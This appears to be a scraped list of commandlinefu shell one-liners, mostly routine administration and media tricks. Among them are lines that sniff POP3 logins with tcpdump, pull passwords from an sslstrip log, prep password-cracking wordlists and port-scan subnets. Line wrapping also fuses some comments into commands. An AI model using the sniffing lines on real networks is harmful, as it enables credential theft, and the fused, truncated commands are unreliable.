wget -H -r -nv --level=1 -k -p -erobots=off -np -N --exclude-domains=del.icio.us,doubleclick.net --exclude-directories=
# Print sorted count of lines
alias sucs="sort | uniq -c | sort -n"
# python one-liner to get the current week number
python -c 'import datetime; print(datetime.date.today().isocalendar()[1])'
# Check the package is installed or not. There will show the package name which
is installed.apt-show-versions | grep '\bpython\b'
# find the rpm package name that provides a specific file
rpm -q --whatprovides $filename
# A bash function to show the files most recently modified in the named (or curr
ent) directoryfunction t { ls -ltch $* | head -20 ; }
# Get ethernet card information.
ethtool eth0
# Define words with google. (busybox version)
wget -q -U busybox -O- "http://www.google.com/search?ie=UTF8&q=define%3A$1" | tr '<' '\n' | sed -n 's/^li>\(.*\)/\1\n/p'
# Indent all the files in a project using emacs
lst=`find . -iname \*.c -or -iname \*.h`; for i in $lst; do emacs -nw -q $i --eval "(mark-whole-buffer)" --eval "(indent-region (point-min) (point-max) nil)" --eval "(save-buffer)" --kill; done
# multimedia ping
continuar=true; while $continuar; do if ping -c 3 [target_IP_address] 2>&1> /dev/null ; then mplayer [sound_file]; continuar=false; break; fi; done
# Show package dependencies with apt
apt-cache depends <packagename>
# Monitoring a port connections
watch -n1 'netstat -tn | grep -P :22'
# Strip out Hungarian notation from a PHP file
cat file.php | perl -p -e 's/(\$|->)(str|arr|obj|int|flt|boo|bool|mix|res)([A-Z])/$1\L$3/g'
# Use the page up key to complete the command.
echo "\"\e[5~\": history-search-backward" >> ~/.inputrc
# Show the ordered header line (with field names) of a CSV file
function headers { head -1 $* | tr ',' '\12' | pr -t -n ; }
# Move all files untracked by git into a directory
git clean -n | sed 's/Would remove //; /Would not remove/d;' | xargs mv -t stuff/
# Open the last modified file of a certain type
open-command $(ls -rt *.type | tail -n 1)
# Find, Replace, Write & Remove First 5 Lines
variable="foo" && sed 's/bar/'$variable'/g' $variable.conf >> $variable.temp && sed '1,5d' $variable.temp && mv $variable.temp $variable.conf
# Show package reverse dependencies with apt
apt-cache rdepends <packagename>
# Generate an XKCD #936 style 4 word password
perl -F'\s+' -anE 'push @w,$F[1];END{$r.=splice @w,rand @w,1 for(1..4);say $r}' diceware.wordlist.asc
# Convert an ssh2 public key to openssh format
ssh-keygen -i -f $sshkeysfile >> authorized_keys
# Recursively replace a string in files with lines matching string
for i in `find . -type f`; do sed -i '/group name/s/>/ deleteMissing="true">/' $i; done
# backup home dir exclude dot files
tar --exclude=".??*" -zcvf ./home_backup_2008.tar.gz my_home
# lotto generator
seq -w 50 | sort -R | head -6 |fmt|tr " " "-"
# Get version values (ProductName, ProductVersion, BuildVersion) for Mac OS X
sw_vers [-productName|-productVersion|-buildVersion]
# un-escape URL/URIs with Ruby
echo 'example.com%2Fsome%2Fpath' | ruby -r'cgi' -e 'puts CGI.unescape(STDIN.read)'
# mkdir some file and mv some file
for i in `seq 100`; do mkdir f${i}; touch ./f${i}/myfile$i ;done
# Create files of arbitrary size in Windows
fsutil file createnew FILENAME filesize(inbytes)
# vim insert current filename
:r! echo %
# Convert a VMWare screencast into a flv file
mencoder -of avi -ovc lavc movie.avi -o movie2.avi; ffmpeg -i movie2.avi -r 12 -b 100 movie.flv
# Remove branches that no longer exist from being shown via 'git branch -a'
git remote prune origin
# List contents of jar
LESSOPEN="| /usr/bin/lesspipe %s" less file.jar
# Find Files over 20Meg
find . -type f -size +20000k -print0 | xargs -0 du -h | awk -F"\t" '{printf "%s : %s\n", $2, $1}'
# Find processes by current user on a Solaris box
ps -u `/usr/xpg4/bin/id -u`
# Remove CVS root files under current directory
find . -name Root -print | xargs rm -f
# Read just the IP address of a device
/sbin/ifconfig | awk -F'[ :]+' '/inet addr/{print $4}'
# Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM
) of the Unicode Standard.find -type f |while read a;do [ "`head -c3 -- "${a}"`" == $'\xef\xbb\xbf' ] && echo "Match: ${a}";done
# convert chinese character into wubi86 input code
echo Your_Chinese_Char | uniconv -encode Chinese-WB
# Get movie length
mplayer -vo null -ao null -frames 0 -identify movie.avi | awk '{FS="="}; /ID_LENGTH/{ H=int($2/3600); M=int(($2-H*3600)/60); S=int($2%60); printf "%d:%02d:%02d\n",H,M,S}'
# get biggest directories
du -kh --max-depth=1 | sort -n |head
# Check variable has been set
isdef() { eval test -n \"\${$1+1}\"; }
# conver mp3 to m4b
mpg123 -s input.mp3 | faac -P -X -w -o output.m4b -
# get value after comma from an arithmetic operation
echo "scale=6;2048 / 2.345" | bc
# Indent all the files in a project using emacs
find . -iname \*.c -or -iname \*.h -exec emacs -nw -q {} --eval "(progn (mark-whole-buffer) (indent-region (point-min) (point-max) nil) (save-buffer))" --kill \;
# Reading my nic's mac address
ifconfig | grep HWaddr
# Speed up builds and scripts, remove duplicate entries in $PATH. Users scripts
are oftern bad: PATH=/apath:$PATH type of thing cause diplicate.glu() { (local IFS="$1"; shift && echo "$*") }; repath() { ( _E=`echo "${PATH//:/$'\n'}" | awk '!x[$0]++'`; glu ":" $_E ) ; } ; PATH=`repath` ; export PATH
# Merge PDFs into single file
pdftk input1.pdf input2.pdf cat output output.pdf
# Remove all untracked files/directories from the working tree of a git reposito
ry.git clean -dfx
# Repeat a portrait eight times so it can be cut out from a 6
montage input.jpg -auto-orient -duplicate 7 -geometry 500 -frame 5 output.jpg
# Go to man section of bash builtins
man () { if [[ $(type ${1}) =~ "is a shell builtin" ]]; then; /usr/bin/man -P "/usr/bin/less -iRs --pattern=\"^ *${1}\"" bash; else; /usr/bin/man ${1}; return; fi; }
# Tar a directory and its sub-directory
tar cvfz dir_name.tgz dir/
# sort selected lines in a text file to the beginning or end of the file.
2end () ( export LC_ALL=C; nl -n rz $1 > $1.tmp; ${EDITOR:-vi} $1.tmp; sort $1.tmp | sed -r 's/^.*[0-9]+\t+//' > $1; rm $1.tmp; )
# Setting gdb in memory allocation debugging mode under MAC OS X
set env DYLD_INSERT_LIBRARIES = /usr/lib/libgmalloc.dylib;b szone_error
# Sum file sizes
find . -type f -printf %s\\n | paste -sd+ | bc
# Generate soothing noise
/usr/bin/play -q -n synth brown band -n 1200 200 tremolo 0.05 80
# Get all files of particular type (say, PDF) listed on some wegpage (say, examp
le.com)curl -s http://example.com | grep -o -P "<a.*href.*>" | grep -o "http.*.pdf" | xargs -d"\n" -n1 wget -c
# svn diff ignore whitespace
svn diff --diff-cmd diff -x -uw /path/to/file
# Extract the contents of an RPM package to your current directory without insta
lling them.rpm2cpio /path/to/file.rpm | cpio -i -d
# Fix UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM)
of the Unicode Standard.perl -i -pe 's/\xef\xbb\xbf//g' <file>
# Print a row of 50 hyphens
python -c 'print "-" * 50'
# Python: Quickly locate site-packages
python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()"
# Scrape all RBLs off the anti-abuse.org site
lynx -dump http://www.anti-abuse.org/multi-rbl-check/ | grep ']' | awk -F\] '{ print $2 }' | sed '/^\[/d' | egrep -v ^[A-Z]
# Convert a videos audio track to ogg vorbis.
INPUT=<input_video> && ffmpeg -i "$INPUT" -vn -f wav - | oggenc -o ${INPUT%%.*}.ogg -
# Check if variable is a number
echo $X | egrep "^[0-9]+$"
# Revert all modified files in an SVN repo
svn st | grep -e '^M' | awk '{print $2}' | xargs svn revert
# Notify on Battery power
NotifyOnBATTERY () { while :; do on_ac_power||notify-send "Running on BATTERY"; sleep 1m; done }
# Get current connected wireless network with nm-tools
nm-tool 2>/dev/null|sed -n '/Type:[ ]*802.11 WiFi/,/IPv4 Settings/{ /State:[ ]*connected/,/IPv4 Settings/{ s/^[ ]*//;/^\*.*Infra/ { s/^*//;s/:.*//;p }}}'
# Show the changed files in your GIT repo
git status | perl -F'\s' -nale 'BEGIN { $a = 0 }; $a = 1 if $_ =~ /changed but not updated/i; print $F[-1] if ( $a && -f $F[-1] )'
# Forensic tool to find hidden processes and ports
unhide (proc|sys|brute)
# List and count the number of open sessions per user
users | xargs -n1 echo | sort | uniq -c
# Put a console clock in top right corner
while true; do tput sc; tput cup 0 $(($(tput cols)-74)); w | grep load; tput rc; sleep 10; done &
# have tar decide compression based on filename
tar -caf some_dir.tar.xz some_dir
# Adding leading zeros to a filename (1.jpg -> 001.jpg)
rename.ul "" 00 ?.jpg; rename "" 0 ??.jpg;
# hours before the time()==1234567890
echo $(( (1234567890 - `date -u +\%s`) / 60 / 60 ))
# Outputs a 10-digit random number
head -c10 <(echo $RANDOM$RANDOM$RANDOM)
# Get current Xorg resolution via xrandr
xrandr -q | awk -F'current' -F',' 'NR==1 {gsub("( |current)","");print $2}'
# Display environment vars only, using set
alias sete='set|sed -n "/^`declare -F|sed -n "s/^declare -f \(.*\)/\1 ()/p;q"`/q;p"'
# Print sorted list of all installed packages (Debian)
aptitude search -F "%p" --disable-columns ~i
# Search recursively to find a word or phrase in certain file types, such as C c
odefind . -iname '*.php' | xargs grep "searh string" -sl
# Add a newline to the end of a cpp file
find . -iname "*.cpp" -exec perl -ni -e 'chomp; print "$_\n"' {} \;
# Monitor a file's size
while [ 1 ]; do du /var/log/messages;sleep 60; done
# Fetch the Gateway Ip Address
/sbin/route -n | grep "^0\.0\.0\.0" | awk '{ print $2 }'
# Converts uppercase chars in a string to lowercase
echo StrinG | tr 'A-Z' 'a-z'
# Comment out all lines in a configuration file matching a regexp, creating a ba
ckup.mv -i something.conf{,~} && sed "/regexp/s/^/#/" < something.conf~ > something.conf
# replace one of the octates of an IP
i=3; echo 10.0.0.1 | sed "s/\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\)/\1\2\3$i/g"
# Matched string reference in replacement text
echo "abcde" | sed 's/./& /g'
# which git tags include this commit?
git tag -l --contains 18f6f2 live*
# Find and delete thunderbird's msf files to make your profile work quickly agai
n.find ~/.thunderbird/*.default/ -name *.msf -delete
# Convert all Microsoft Word files in current directory to HTML.
for f in *.doc ; do wvHtml $f ${f%.doc}.html ; done
# Find out the starting directory of a script
mydir=$(cd $(dirname ${BASH_SOURCE:-$0});pwd)
# Backup entire system
cd / ; tar -cvpzf backup.tar.gz --exclude=/backup.tar.gz --exclude=/proc --exclude=/lost+found --exclude=/sys --exclude=/mnt --exclude=/media --exclude=/dev /
# shut of the screen ( Fool proof )
switchMonitor () { LF=/tmp/screen-lock; if [ -f $LF ]; then rm $LF; else touch $LF; sleep .5; while [ -f $LF ]; do xset dpms force off; sleep 2; done; fi };
# run zenity object on local machine for to insert video stream url to play on r
emote machinelol=`zenity --entry` && DISPLAY=:0.1 cvlc -f -I ncurses --play-and-exit "$lol"
# Test quick help alias
alias testh='help test|sed -e :a -e "$!N;s/\(-n STRING\)\n/\1, /;s/\n\( \{23\}\| \{4\}\([a-z]\)\)/ \2/;ta;P;D"|sed "s/ \{1,\}/ /g;/^ $/d;/:$/s/^/\n/"|sed -n "/File operators:/,\$p"'
# SSH connection with private key and port 222
ssh -i /root/.ssh/username\@hostname -p 222 username@hostname
# ps with parent/child process tree
ps auxf
# Display the linux host infomation.
hostinfo.sh
# AIX: Determine what filesets are missing to reach a TL
instfix -icq | grep 5300-07_AIX_ML | grep ":-:"
# Easily create and share X screen shots (local webserver version)
scrot -e 'mv $f \$HOME/public_html/shots/; echo "http://\$HOSTNAME/~\$USER/shots/$f" | xsel -i; feh `xsel -o`'
# how to run firefox in safe mode from command line
firefox --safe-mode
# Execute all SQL files in a directory
cat *.sql | mysql <db_name>
# run zenity object on local machine for select all directory file to play on re
mote machinelol=`zenity --file-selection --directory` && DISPLAY=:0.1 cvlc -f -I ncurses --play-and-stop "$lol"
# &#38468;&#24102;&#33410;&#20551;&#26085;&#21644;&#38452;&#21382;&#30340;&#2162
9;&#20196;&#34892;&#31243;&#24207;gcal -i -s1 -qcn --chinese-months -cezk .
# Display the packages that contain the specified file.
dpkg -S file
# pev - Extract PE(.exe) version information in bash
pev winappfile.exe
# How to expire the password to force her change [Linux]
chage -d 0 -m 0 -M 60 [user]
# Output sound when your computer is downloading something
tcpdump | aplay -c 2
# Customizable Search Context
echo -n search\>\ ; read SEARCH_STRING && sed -n "/$SEARCH_STRING/{n;p;n;p;n;p;q}" [file-to-search]
# Activate the mandatory proxy under ubuntu
gconftool-2 --set "/system/http_proxy/use_http_proxy" --type boolean true
# How to check webserver by Nikto
nikto.pl -h yourwebserver
# Bash function to see what the day ends in
date +%A | cut -c $(( $(date +%A | wc -c) - 1 ))
# list all file extensions in a directory
ls -Xp /path/to/dir | grep -Eo "\.[^/]+$" | uniq
# find a particular string on an unmounted partition
hexdump -e '8/1 "%02X ""\t"" "' -e '8/1 "%c""\n"' /dev/sda1 | less /mystring
# Displays the packages which contain the specified file.
dpkg -S locale.alias
# Generate Pascal's Triangle
for((r=1;r<10;r++));do v=1;echo -n "$v ";for((c=1;c<$r;c++));do v2=$(($(echo "$v*($r-$c)/$c")));echo -n "$v2 ";v=$v2;done;echo;done
# How to expire the password to force her change [AIX]
pwdadm -f ADMCHG [user]
# unix2dos with awk
awk 'sub("$", "\r")' unixfile.txt > winfile.txt
# Clean a wordlist for use with password cracking tools and rules
cat dirtyfile.txt | awk '{gsub(/[[:punct:]]/,"")}1' | tr A-Z a-z | sed 's/[0-9]*//g' | sed -e 's/ //g' | strings | tr -cs '[:alpha:]' '\ ' | sed -e 's/ /\n/g' | tr A-Z a-z | sort -u > cleanfile.txt
# check open ports (both ipv4 and ipv6)
netstat -plntu
# search manpages on the internets
manview() { lynx -dump -accept_all_cookies 'http://www.csuglab.cornell.edu/cgi-bin/adm/man.cgi?section=all&topic='"$1" | less; }
# Schedule Nice Background Commands That Won't Die on Logout - Alternative to no
hup and at( trap '' 1; ( nice -n 19 sleep 2h && command rm -v -rf /garbage/ &>/dev/null && trap 1 ) & )
# Prints line numbers
awk '{print NR,$0}'
# Display the space used for all your mounted logical volume (LV)
df -kh /dev/vg0*/lv*
# Open Remote Desktop (RDP) from command line having a custom screen size
rdesktop -u <username> -p <password> -g 1366x724 -a 16 -D -z -P <servername / IP Address>
# show how many twitter followers a user has
curl -s http://twitter.com/users/show.xml?screen_name=username | sed -n 's/\<followers_count\>//p' | sed 's/<[^>]*>//g;/</N;//b'
# How to Kill Process that is Running on Certain Port in Windows?
netstat -a -o -n | grep 8080
# Watch Weather Channel live video stream without a browser
vlc mms://twcilivewm.fplive.net/twcilive-live/twci_350
# grep on IP range from maillog
egrep '183\.([0-9]|(1[0-6]|2[0-3]))' -J /var/log/maillog*
# Prints the second part of the hostname of a given database in /etc/sybase/inte
rfacesawk '/^'$SEARCH'[ ]*$/{getline;if ($1 ~ /query/) {split($4,a,".");print a[2]}}' /etc/sybase/interfaces
# Mixing music in bash
( for((i=0;$i<100;i++))do echo volume $i 1; sleep 0.1s; done; )| mplayer -slave -quiet sample.mp3
# multimedia ping
ping -a IP-ADDRESS
# Get duration of an audio file in seconds.
get_duration () { IFS=.: read -r _ h m s _ < <(ffmpeg -i "$1" 2>&1 | grep Duration);echo $(( h * 360 + m * 60 + s )); }
# git log1 alias
git config --global alias.log1 "log --pretty=oneline --abbrev-commit"
# what the free memory grow or shink
watch -d "free -mt"
# this toggles mute on the Master channel of an alsa soundcard
on="off"; off="on"; now=$(amixer get Master | tr -d '[]' | grep "Playback.*%" |head -n1 |awk '{print $7}'); amixer sset Master ${!now}
# Sniff ONLY POP3 authentication by intercepting the USER command
tcpdump -i eth0 "tcp port pop3 and ip[40] = 85 and ip[41] = 83" -s 1500 -n -w "sniff"
# Convert a directory of pdfs into scaled down pngs
shopt -s nullglob; for i in $(find "Your/file/system" -name "*.pdf"); do e="$(dirname $i)/$(basename $i '.pdf').png"; gs -sDEVICE=png16m -q -dPDFFitPage -g492x380 -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -dNOSUBSTDEVICECOLORS -o $e $i; done
# Find .java files with high complexity (counting curly braces)
find src/ -name "*.java" | while read f; do echo -n "$f "; cat "$f" | tr -dc '{}'; echo; done | awk '{ print length($2), $1 }' | sort -n
# Grep the process excluding the grep itself.
ps -ef | grep [t]clsh
# prints line numbers
perl -pe 'print "$. "' <file>
# File browser
xdg-open $(ls . | dmenu)
# print line and execute it in BASH
$ echo "command"; `!#:0-$
# Mark a directory as one where something failed
fail () { ln -s /nonexistent 0_FAIL_${1}; }
# set open firmware password command mode
/usr/local/bin/OFPW -mode 1
# Add all not commited files to svn
svn st | grep ^? | xargs svn add 2> /dev/null
# Scan your LAN for unauthorized IPs
diff <(nmap -sP 192.168.1.0/24 | grep ^Host | sed 's/.appears to be up.//g' | sed 's/Host //g') auth.hosts | sed 's/[0-9][a-z,A-Z][0-9]$//' | sed 's/</UNAUTHORIZED IP -/g'
# When feeling boring this command help too
bb
# Poor man's unsort (randomize lines)
while read l; do echo $RANDOM "$l"; done | sort -n | cut -d " " -f 2-
# simple regex spell checker
< /usr/share/dict/words egrep onomatopoeia
# Zip a directory recursively, excluding some contained directories
zip -r new.zip dir_to_zip -x '*/dir_to_exclude1/*' -x '*/dir_to_exclude2/*'
# Download 40 top funnyjunk Images to the current directory
curl -s --compressed http://funnyjunk.com | awk -F'"' '/ '"'"'mainpagetop24h'"'"'/ { print "http://funnyjunk.com"$4 }' | xargs curl -s | grep -o 'ht.*m/pictures/.*\.jpg\|ht.*m/gifs/.*\.gif' | grep "_......_" | uniq | xargs wget
# Rotate the X screen via xrandr
xrandr --output [youroutput] --rotate [right|left|normal] -d [yourdisplay]
# Top like mysql monitor
mytop --prompt
# Grep through the text of djvu files and format results
find ./ -iname "*.djvu" -execdir perl -e '@s=`djvutxt \"$ARGV[0]\"\|grep -c Berlekamp`; chomp @s; print $s[0]; print " $ARGV[0]\n"' '{}' \;|sort -n
# resize all JPG images in folder and create new images (w/o overwriting)
ls *.JPG | cut -d . -f 1 | xargs -L1 -i convert -resize 684 {}.JPG {}.jpg
# Untar a directory in a tar file over ssh
cat tarfile.tar.gz | ssh server.com " cd /tmp; tar xvzf - directory/i/want"
# df output, sorted by Use% and correctly maintaining header row
df -h | grep -v ^none | ( read header ; echo "$header" ; sort -rn -k 5)
# port scan using parallel
seq 1 255 | parallel -j+0 'nc -w 1 -z -v 192.168.1.{} 80'
# Convert vcd to avi format
mencoder vcd://2 -o sample.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4
# Get number of users on a minecraft server
(echo -e '\xfe'; sleep 1) |telnet -L $HOSTIP 25565 2>/dev/null |awk -F'\xa7' '$2 {print "users: "$2"/"$3;}'
# Need an ascii art font for you readme text ?
toilet -f big ReadMe
# Poor man's ntpdate
date -s "$(echo -e "HEAD / HTTP/1.0\n" | nc www.example.com 80 | sed -ne 's/^Date: \(.*\)$/\1/p')"
# zsh variable behave like bash variable
setopt shwordsplit
# command line fu roulette
curl -sL 'www.commandlinefu.com/commands/random' | awk -F'</?[^>]+>' '/"command"/{print $2}'
# rsync a hierarchy but matching only one filename
rsync -avz --dry-run --include="only-include-this-filename" -f 'hide,! */' source/folder/ target/folder/
# Nmap find open TCP/IP ports for a target that is blocking ping
nmap -sT -PN -vv <target ip>
# check open ports (both ipv4 and ipv6)
lsof -i
# Open in TextMate Sidebar files (recursively) with names matching REGEX_A and n
ot matching REGEX_Bmate - `find * -type f -regex 'REGEX_A' | grep -v -E 'REGEX_B'`
# Sort movies by length, longest first
for i in *.avi; do echo -n "$i:";mediainfo $i|head | grep PlayTime | cut -d: -f2 ; done | sort -t: -k2 -r
# Show demo of toilet fonts
find /usr/share/figlet -name *.?lf -exec basename {} \; | sed -e "s/\..lf$//" | xargs -I{} toilet -f {} {}
# find co-ordinates of a location
findlocation() {place=`echo $@`; lynx -dump "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | egrep "address|coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';}
# Find the main file :D
find . -name "*.cpp" -exec grep -Hn --color=tty -d skip "main" {} \;
# Fetch all GPG keys that are currently missing in your keyring
gpg --list-sigs | sed -rn '/User ID not found/s/^sig.+([a-FA-F0-9]{8}).*/\1/p' | xargs -i_ gpg --keyserver-options no-auto-key-retrieve --recv-keys _
# Show Mac OS X version information
sw_vers
# Find a .jpg in Your Home-Directory and display it via eog. Not case sensitive.
....eog $(find $HOME -iname ExamplePicture*.jpg)
# Convert ascii string to hex
echo -n 'text' | xxd -ps | sed 's/[[:xdigit:]]\{2\}/\\x&/g'
# cd into the latest directory
alias cd1='cd $( ls -1t | grep ^d | head -1)'
# Extract an audio track from a multilingual video file, for a specific language
.mencoder -aid 2 -oac copy file.avi -o english.mp3
# remove unnecessary architecture code from Mac OS X Universal binaries
ditto --arch i386 doubleTwist.app doubleTwist_i386.app
# View webcam output using GStreamer pipeline
gst-launch-0.10 autovideosrc ! video/x-raw-yuv,framerate=\(fraction\)30/1,width=640,height=480 ! ffmpegcolorspace ! autovideosink
# Poor man's ntpdate
date -s "`curl -sI www.example.com | sed -n 's/^Date: //p'`"
# Get a url, preview it, and save as text - with prompts
read -p "enter url:" a ; w3m -dump $a > /dev/shm/e1q ; less /dev/shm/e1q ; read -p "save file as text (y/n)?" b ; if [ $b = "y" ] ; then read -p "enter path with filename:" c && touch $(eval echo "$c") ; mv /dev/shm/e1q $(eval echo "$c") ; fi ; echo DONE
# Find the package a command belongs to on Gentoo
equery belongs $( which mv )
# Find all files over 20MB and print their names and size in human readable form
atfind / -type f -size +20000k -exec ls -lh {} \; | awk '{printf $9} {for (i=10;i<=NF;i++) {printf " "$i}} {print ": "$5}'
# Overcome Bash's expansion order
eval "mkdir test{$(seq -s, 1 10)}"
# Read/Write output/input from sed to a file
seq 20 | sed '5,6 { w out.txt }' #Can't print correctly. See sample output
# fomat/encode/escape xml
xml fo -e utf-8 file.xml | xml esc
# Prevent overwriting file when using redirection
set -o noclobber
# Update the working tree to the latest git commit
git log -g --pretty=oneline | grep '}: commit' | awk '{print $1}' | head -1 | xargs git checkout -f
# fix nvidia-settings display error
nvidia-settings -a AssociatedDisplays=0x00010000
# Which files/dirs waste my disk space
du -h / | grep -w "[0-9]*G"
# edit a executable script
vie(){vi $(which $1)}
# Using json.tool from the shell to validate and pretty-print
echo '{"json":"obj"}' | python -mjson.tool
# Delete posts from MyBB Board as User
curl --cookie name=<cookie_value> --data-urlencode name=my_post_key=<post_key>\&delete=1\&submit=Delete+Now\&action=deletepost\&pid=$c --user-agent Firefox\ 3.5 --url http://url/editpost.php?my_post_key=<post_key>\&delete=1\&submit=Delete+Now\&action=dele
# Export usernames and passwords from sslstrip log
grep -i -f password_tokens sslstrip.log | awk ' BEGIN { RS="&" } { print $1 }' | grep -i -f tokens_file
# dd with progress bar and remaining time displayed
SIZE=`fdisk -s /dev/sdx`; dd if=/dev/sdx bs=1M | pv -s "$SIZE"k > hdd.img
# Copy your ssh public key to a server from a machine that doesn't have ssh-copy
-idssh <user>@<host> 'mkdir -m 700 ~/.ssh; echo ' $(< ~/.ssh/id_rsa.pub) ' >> ~/.ssh/authorized_keys ; chmod 600 ~/.ssh/authorized_keys'
# Save all commands from commandlinefu.com sort by vote
# See whether your compiled Apache is prefork or worker MPM
/usr/sbin/httpd -l
# Get thread count for process on Solaris
ps -L -p <pid> | wc -l
# Display $PATH with one line per entry
echo -e ${PATH//:/\\n} | less
# Create a template for WebLogic 9 or 10
pack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar -template_name="mydomain"
# Generate trigonometric/log data easily
seq 8 | awk '{print "e(" $0 ")" }' | bc -l
# to display all characters except second last character from each line of a fil
esed 's/^\(.*\)\(.\)\(.\)$/\1\3/' fileName
# Write a bootable Linux .iso file directly to a USB-stick
wget -O/dev/sdb ftp://ftp.debian.org/debian/dists/stable/main/installer-amd64/current/images/netboot/mini.iso
# Save the debconf configuration of an installed package
debconf-copydb configdb copydb --pattern=<PACKAGE> --config="Name: copydb" --config="Driver: File" --config="Filename: ~/copydebconf.dat"
# Create a hard-to-guess password
dd if=/dev/urandom bs=16 count=1 2>/dev/null | base64
# List files recursively sorted by modified time
find /home/fizz -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort
# get events from google calendar for a given dates range
wget -q -O - 'URL/full?orderby=starttime&singleevents=true&start-min=2009-06-01&start-max=2009-07-31' | perl -lane '@m=$_=~m/<title type=.text.>(.+?)</g;@a=$_=~m/startTime=.(2009.+?)T/g;shift @m;for ($i=0;$i<@m;$i++){ print $m[$i].",".$a[$i];}';
# Unpack and build a WebLogic 9 or 10 domain
unpack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar
# give record size of given record-structured file
fname=$1;f=$(ls -la $fname);fsz=$(echo $f|awk '{ print $5 }');nrrec=$(wc -l $fname|awk '{ print $1 }');recsz=$(expr $fsz / $nrrec);echo "$recsz"
# Import a debconf configuration (from a copydebconf.dat file)
debconf-copydb copydb configdb --config="Name: copydb" --config ="Driver: File" --config="Filename: ~/copydebconf.dat"
# Command line invocation of ImageMagick to resize a file
convert panorama_rainbow_2005.jpg -resize 40% panorama_rainbow_compress.jpg
# convert a .mp4 to a .avi
ffmpeg -i "/path/to/file.mp4" "/path/to/file.avi"
# Convert CSV files to TSV
sed 's/,/\t/g' report.csv > report.tsv
# Remove lines matching a pattern in files (backup any modified files)
pattern='regexp_pattern'; find . -type f -perm +220 ! -name '*.bak' -print0 | xargs -0 egrep -lZ $pattern | xargs -0 sed -i.bak -e "/$pattern/d"
# Get Unique Hostnames from Apache Config Files
cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s " " | sed 's/^[ ]//g' | uniq | cut -d ' ' -f 2 | sed 's/www.//g' | sort | uniq
# See The MAN page for the last command
man !!
# Generate list of words and their frequencies in a text file.
tr A-Z a-z | tr -d 0-9\[\],\*-.?\:\"\(\)#\;\<\>\@ | tr ' /_' '\n' | sort | uniq -c
# Enable color pattern match highlighting in grep(1)
export GREP_OPTIONS='--color=auto'
# Opens files containing search term in vim with search term highlighted
ack-open () { local x="$(ack -l $* | xargs)"; if [[ -n $x ]]; then eval vim -c "/$*[-1] $x"; else echo "No files found"; fi }
# Convert AVI to WMV
ffmpeg -i movie.avi -s 320x240 -b 1000k -vcodec wmv2 -ar 44100 -ab 56000 -ac 2 -y movie.wmv
# String Capitalization
echo "${STRING}" | tr '[A-Z]' '[a-z]' | awk '{print toupper(substr($0,1,1))substr($0,2);}'
# This command will shorten any URL the user inputs. What makes this command dif
ferent is that it utilizes 5 different services and gives you 5 different outputs.curl -s http://tinyurl.com/create.php?url=$1 \ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' \ | uniq ; curl -s http://bit.ly/?url=$1 \ | sed -n 's/.*\(shortened-url"...............
# List only those files that has all uppercase letters in their names (e.g. READ
ME)ls | grep '^[A-Z0-9]*$'
# Persistent saving of iptables rules
cd /etc/network/if-up.d && iptables-save > firewall.conf && echo -e '#!/bin/sh -e\niptables-restore < $(dirname $0)/firewall.conf' > iptables && chmod a+x iptables
# Figure out if your kernel has an option enabled
zgrep CONFIG_MAGIC_SYSRQ /proc/config.gz
# External IP
curl www.whatismyip.org
# List RPM packages installed in current tree
find $PWD -exec rpm --query -f {} \; | sort -u | grep -v "not owned"
# traverses directories of $host and $share to created a unified place for rsync
backupsfor host in *; do { if [ -d $host ]; then { cd ${host}; for share in *; do { if [ -d $share ]; then { cd $share; rsync -av --delete rsyncuser@$host::$share . 2>../$share.err 1>../$share.log; cd ..; }; fi; }; done; cd ..; }; fi; }; done;
# Currency converter using xe.com
xe(){ curl "http://www.xe.com/wap/2co/convert.cgi?Amount=$1&From=$2&To=$3" -A "Mozilla" -s | sed -n "s/.*>\(.*\) $3<.*/\1/p";}
# Extract specific lines from a text file using Stream Editor (sed)
head -n1 sample.txt | tail -n1
# Play all files in the directory using MPlayer
mplayer -playlist <(find "$PWD" -type f)
# List files in an RPM package
rpm --query --filesbypackage [packagename]
# Find which process is using a port on Solaris
ps -ef | grep user | awk '{print $2}' | while read pid; do echo $pid ; pfiles $pid| grep portnum; done
# Equivalent to ifconfig -a in HPUX
netstat -in
# Generate an over-the-top UUID
printf $(( echo "obase=16;$(echo $$$(date +%s%N))"|bc; ip link show|sed -n '/eth/ {N; p}'|grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'|head -c 17 )|tr -d [:space:][:punct:] |sed 's/[[:xdigit:]]\{2\}/\\x&/g')|sha1sum|head -c 32; echo
# Unlock your KDE4 session remotely (for boxes locked by KDE lock utility)
qdbus org.kde.krunner_lock /MainApplication quit; qdbus org.kde.plasma-overlay /MainApplication quit
# See how many more processes are allowed, awesome!
echo $(( `ulimit -u` - `find /proc -maxdepth 1 \( -user $USER -o -group $GROUPNAME \) -type d|wc -l` ))
# Generate list of words and their frequencies in a text file.
tr -cs A-Za-z '\n' | sort | uniq -ci
# get you public ip address
echo $(curl -s http://ipwhats.appspot.com/)
# Prints out, what the users name, notifyed in the gecos field, is
finger | grep $(whoami) | head -n1 | awk '{print $2 " " $3}'
# recursively change file name from uppercase to lowercase (or viceversa)
for i in $(find . -type f); do mv "$i" "$(echo $i|tr A-Z a-z)"; done
# To see the user's activity on the file system
sudo lsof -u someuser -a +D /etc
# Destroy file contents after encryption
gpg -e --default-recipient-self <SENSITIVE_FILE> && shred -zu "$_"
# Create a simple backup
tar pzcvf /result_path/result.tar.gz /target_path/target_folder
# AIX : onliner to reset failed login count for user
chsec -f /etc/security/lastlog -a "unsuccessful_login_count=0" -s 'aix user'
# Check whether laptop is running on battery or cable
cat /proc/acpi/battery/BAT0/state
# Convert ascii string to hex
echo "text" | od -t x1
# recursive base64 encoding -- Cipher for the Poor ?
